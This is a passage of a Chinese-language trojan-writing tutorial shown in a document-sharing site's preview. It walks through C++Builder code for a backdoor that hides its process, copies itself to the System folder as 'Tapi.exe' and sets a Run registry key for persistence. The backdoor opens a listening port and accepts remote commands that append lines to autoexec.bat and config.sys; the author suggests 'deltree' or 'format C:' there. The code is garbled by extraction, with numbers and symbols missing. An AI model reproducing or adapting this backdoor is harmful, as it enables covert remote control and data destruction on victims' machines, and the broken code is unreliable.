下载

1下载券

加入VIP
  • 专属下载特权
  • 现金文档折扣购买
  • VIP免费专区
  • 千万文档免费下载

上传资料

关闭

关闭

关闭

封号提示

内容

首页 如何编写马

如何编写马.pdf

如何编写马

亮liang
2010-10-19 0人阅读 举报 0 0 暂无简介

简介:本文档为《如何编写马pdf》,可适用于IT/计算机领域

如何编写木马:编写木马疯狂代码http:CrazyCodercnĵ:http:CrazyCodercnNetworkProgrammingArticlehtml自己编写木马听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client)服务器负责打开攻击的道路就像一个内奸特务客户端负责攻击目标两者需要一定的网络协议来进行通讯(一般是TCPIP协议)。为了让大家更好的了解木马攻击技术破除木马的神秘感我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马使大家能更好地防范和查杀各种已知和未知的木马。  首先是编程工具的选择。目前流行的开发工具有CBuilder、VC、VB和Delphi这里我们选用CBuilder(以下简称BCB)VC虽然好但GUI设计太复杂为了更好地突出我的例子集中注意力在木马的基本原理上我们选用可视化的BCBDelphi也不错但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码是VC编写的网上俯拾皆是)VB嘛谈都不谈难道你还给受害者传一个兆多的动态链接库Msvbvmdll吗?  启动CBuilder企业版新建一个工程添加三个VCL控件:一个是Internet页中的ServerSocket另两个是Fastnet页中的NMFTP和NMSMTP。ServerSocket的功能是用来使本程序变成一个服务器程序可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的后来微软将它引入了Windows中(包括Win和WinNt)后两个控件的作用是用来使程序具有FTP(FileTransferProtocol文件传输协议)和SMTP(SimpleMailTransferProtocol简单邮件传输协议)功能大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。  Form窗体是可视的这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大)而且使软件可见根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form就像Delphi用过程实现的小程序一般只有K左右那样。  我们首先应该让我们的程序能够隐身。双击Form首先在FormCreate事件中添加可使木马在Winx的“关闭程序”对话框中隐藏的代码。这看起来很神秘其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。不过该函数的声明在Borland预先打包的头文件中没有那么我们只好自己来声明这个位于KERNELDLL中的鸟函数了。  首先判断目标机的操作系统是Winx还是WinNt:{DWORDdwVersion=GetVersion()得到操作系统的版本号if(dwVersion>=x)操作系统是Winx不是WinNt {  typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD)    定义RegisterServiceProcess()函数的原型    HINSTANCEhDLL   LPREGISTERSERVICEPROCESSlpRegisterServiceProcess   hDLL=LoadLibrary("KERNEL")   加载RegisterServiceProcess()函数所在的动态链接库KERNELDLL  lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess")    得到RegisterServiceProcess()函数的地址    lpRegisterServiceProcess(GetCurrentProcessId(),)   执行RegisterServiceProcess()函数,隐藏本进程   FreeLibrary(hDLL)   卸载动态链接库 }}  这样就终于可以隐身了,为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余因此没必要在WinNt下也使用以上代码接着再将自己拷贝一份到System目录下例如:C:WindowsSystem并修改注册表以便启动时自动加载:{ charTempPathMAXPATH定义一个变量GetSystemDirectory(TempPath,MAXPATH)TempPath是system目录缓冲区的地址,MAXPATH是缓冲区的大小得到目标机的System目录路径SystemPath=AnsiString(TempPath)格式化TempPath字符串使之成为能供编译器使用的样式CopyFile(ParamStr()cstr(),AnsiString(SystemPath"Tapiexe")cstr(),FALSE)将自己拷贝到System目录下并改名为Tapiexe伪装起来Registry=newTRegistry定义一个TRegistry对象准备修改注册表这一步必不可少Registry>RootKey=HKEYLOCALMACHINE设置主键为HKEYLOCALMACHINERegistry>OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun",TRUE)打开键值SoftwareMicrosoftWindowsCurrentVersionRun如果不存在就创建之try {  如果以下语句发生异常跳至catch以避免程序崩溃  if(Registry>ReadString("crossbow")!=SystemPath"Tapiexe")   Registry>WriteString("crossbow",SystemPath"Tapiexe")   查找是否有“crossbow”字样的键值并且是否为拷贝的目录SystemTapiexe   如果不是就写入以上键值和内容 }catch() { 如果有错误什么也不做 }}  好FormCreate过程完成了这样每次启动都可以自动加载Tapiexe并且在“关闭程序”对话框中看不见本进程了木马的雏形初现。  接着选中ServerSocket控件在左边的ObjectInspector中将Active改为true这样程序一启动就打开特定端口处于服务器工作状态。再将Port填入这是木马的端口号当然你也可以用别的。但是你要注意不要用以下的低端端口因为这样不但可能会与基本网络协议使用的端口相冲突而且很容易被发觉因此尽量使用以上的高端端口(不过也有这样一种技术它故意使用特定端口因为如果引起冲突Windows也不会报错^^)。你可以看一看TNMFTP控件使用的端口是号端口这是FTP协议的专用控制端口(FTPControlPort)同理TNMSMTP的号端口也是SMTP协议的专用端口。  再选中ServerSocket控件点击Events页双击OnClientRead事件敲入以下代码:{ FILE*fp= char*content inttimesoftry charTempFileMAXPATH 定义了一堆待会儿要用到的变量 sprintf(TempFile,"s",AnsiString(SystemPathAnsiString("WinBAT"))cstr()) 在System下建立一个文本文件Winbat作为临时文件使用 AnsiStringtemp=Socket>ReceiveText() 接收客户端(攻击者也就是你自己)传来的数据}好大门敞开了!接着就是修改目标机的各种配置了!^^首先我们来修改Autoexecbat和Configsys吧:{if(tempSubString(,)=="editconf") 如果接受到的字符串的前个字符是“editconf” {   intnumber=tempLength()   得到字符串的长度   intfilename=atoi((tempSubString(,))cstr())   将第个字符转换成integer型存入filename变量   为什么要取第个字符因为第个字符是空格字符   content=(tempSubString(,number)'n')cstr()   余下的字符串将被作为写入的内容写入目标文件   FILE*fp=   charfilename   chmod("c:autoexecbat",SIREAD|SIWRITE)   chmod("c:configsys",SIREAD|SIWRITE)   将两个目标文件的属性改为可读可写   if(filename==)    sprintf(filename,"s","c:autoexecbat")    如果第个字符是,就把Autoexecbat格式化   elseif(filename==)    sprintf(filename,"s","c:configsys")    如果第个字符是,就把Configsys格式化   timesoftry=  定义计数器   while(fp==)    {     如果指针是空    fp=fopen(filename,"a")    如果文件不存在创建之如果存在准备在其后添加    如果出错文件指针为空这样就会重复    timesoftry=timesoftry    计数器加    if(timesoftry>)    {      如果已经试了次了仍未成功      Socket>SendText("FailByOpenFile")      就发回“FailByOpenFile”的错误信息      gotoEND      跳至END处    }    }   fwrite(content,sizeof(char),strlen(content),fp)   写入添加的语句例如deltreeyC:或者formatqautotestC:够毒吧?!   fclose(fp)   写完后关闭目标文件   Socket>SendText("Sucess")   然后发回“Success”的成功信息 }}  你现在可以通过网络来察看目标机上的这两个文件了并且还可以向里面随意添加任何命令上回我们讲到如何修改目标机上的启动配置文件这回我们就来查看目标机上的目录树和文件吧这在客户端上使用“dir”命令跟着敲啰:{elseif(tempSubString(,)==dir){file:如果前个字符是“dir”intReadNumchar*CRLF=nintattribchar*filenameDIR*dirstructdirent*entintnumber=tempLength()file:得到字符串的长度AnsiStringDirName=tempSubString(,number)file:从字符串第六个字符开始将后面的字符存入DirName变量这是目录名if(DirName==){file:如果目录名为空Socket>SendText(FailByOpenDIRsName)file:返回“FailByOpenDIRsName”信息gotoENDfile:跳到END}char*dirnamedirname=DirNamecstr()if((dir=opendir(dirname))==){file:如果打开目录出错Socket>SendText(FailbyyourDIRsname!)file:返回“FailByYourDIRsName”信息gotoENDfile:跳到END}timesoftry=while(fp==){file:如果指针是fp=fopen(TempFile,w)file:就创建systemWinbat准备读和写如果此文件已存在则会被覆盖timesoftry=timesoftryfile:计数器加if(timesoftry>){file:如果已经试了次了仍未成功(真有耐心!)Socket>SendText(FailByOpenFile)file:就发回“FailByOpenFile”的错误信息gotoENDfile:并跳到END处}}while((ent=readdir(dir))!=){file:如果访问目标目录成功if(*(AnsiString(dirname))AnsiLastChar()!=)file:如果最后一个字符不是“”证明不是根目录filename=(AnsiString(dirname)ent>dname)cstr()file:加上“”字符后将指针指向目录流elsefilename=(AnsiString(dirname)ent>dname)cstr()file:如果是根目录则不用加“”attrib=rtlchmod(filename,)file:得到目标文件的访问属性if(attribFARDONLY)file:“”字符是比较前后两个变量如果相同返回,否则返回fwrite(R,sizeof(char),,fp)file:将目标文件属性设为只读elsefwrite(,sizeof(char),,fp)file:失败则写入空格if(attribFAHIDDEN)fwrite(H,sizeof(char),,fp)file:将目标文件属性设为隐藏elsefwrite(,sizeof(char),,fp)file:失败则写入空格if(attribFASYSTEM)fwrite(S,sizeof(char),,fp)file:将目标文件属性设为系统elsefwrite(,sizeof(char),,fp)file:失败则写入空格if(attribFAARCH)fwrite(A,sizeof(char),,fp)file:将目标文件属性设为普通elsefwrite(,sizeof(char),,fp)file:失败则写入空格if(attribFADIREC)fwrite(<DIR>,sizeof(char),,fp)file:将目标文件属性设为目录elsefwrite(,sizeof(char),,fp)file:失败则写入空格fwrite(ent>dname,sizeof(char),strlen(ent>dname),fp)file:将目录名写入目标文件fwrite(CRLF,,,fp)file:写入换行}fclose(fp)file:关闭文件closedir(dir)file:关闭目录FILE*fp=timesoftry=while(fp==){fp=fopen(TempFile,r)file:打开Winbat准备读timesoftry=timesoftryfile:计数器加if(timesoftry>){file:如果已经试了次了仍未成功Socket>SendText(FailByOpenFile)file:就发回“FailByOpenFile”的错误信息gotoENDfile:并跳到END处}}AnsiStringReturnText=chartempcontentfor(inti=i<i)tempcontent=file:定义的一个空数组ReadNum=fread(tempcontent,,,fp)file:从目标文件中读入前个字符while(ReadNum==){ReturnText=ReturnTexttempcontentfile:ReturnText变量加上刚才的个字符for(inti=i<i)tempcontent=ReadNum=fread(tempcontent,,,fp)file:重复}ReturnText=ReturnTexttempcontentfile:ReturnText变量加上刚才的个字符fclose(fp)file::疯狂代码http:CrazyCodercn

用户评价(0)

关闭

新课改视野下建构高中语文教学实验成果报告(32KB)

抱歉,积分不足下载失败,请稍后再试!

提示

试读已结束,如需要继续阅读或者下载,敬请购买!

文档小程序码

使用微信“扫一扫”扫码寻找文档

1

打开微信

2

扫描小程序码

3

发布寻找信息

4

等待寻找结果

我知道了
评分:

/9

如何编写马

VIP

在线
客服

免费
邮箱

爱问共享资料服务号

扫描关注领取更多福利